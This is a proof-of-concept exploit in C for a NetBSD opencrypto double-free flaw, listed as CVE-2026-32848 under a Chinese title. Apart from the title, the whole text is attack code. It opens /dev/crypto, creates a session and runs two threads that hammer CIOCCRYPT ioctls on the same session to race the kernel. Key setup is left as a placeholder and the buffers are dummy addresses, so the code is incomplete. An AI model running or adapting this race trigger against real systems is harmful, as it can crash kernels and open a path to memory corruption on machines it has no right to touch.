CVE-2026-32848 NetBSD opencrypto双重释放漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> #include <crypto/cryptodev.h> #include <pthread.h> #define DEVICE "/dev/crypto" struct session_op sess; struct crypt_op cop; int cfd; // Thread worker function to trigger race condition void *worker(void *arg) { while (1) { // Setup operation using the same session ID cop.ses = sess.ses; cop.len = 16; cop.src = (void*)0xdeadbeef; // Dummy buffer cop.dst = (void*)0xcafebabe; // Dummy buffer cop.iv = 0; cop.op = COP_ENCRYPT; // Concurrently issue CIOCCRYPT ioctl ioctl(cfd, CIOCCRYPT, &cop); } return NULL; } int main() { cfd = open(DEVICE, O_RDWR); if (cfd < 0) { perror("open"); return 1; } // Initialize a session sess.cipher = CRYPTO_AES_CBC; sess.keylen = 16; // Set key data here... if (ioctl(cfd, CIOCGSESSION, &sess)) { perror("ioctl(CIOCGSESSION)"); return 1; } // Create two threads to exploit the race pthread_t t1, t2; pthread_create(&t1, NULL, worker, NULL); pthread_create(&t2, NULL, worker, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); close(cfd); return 0; }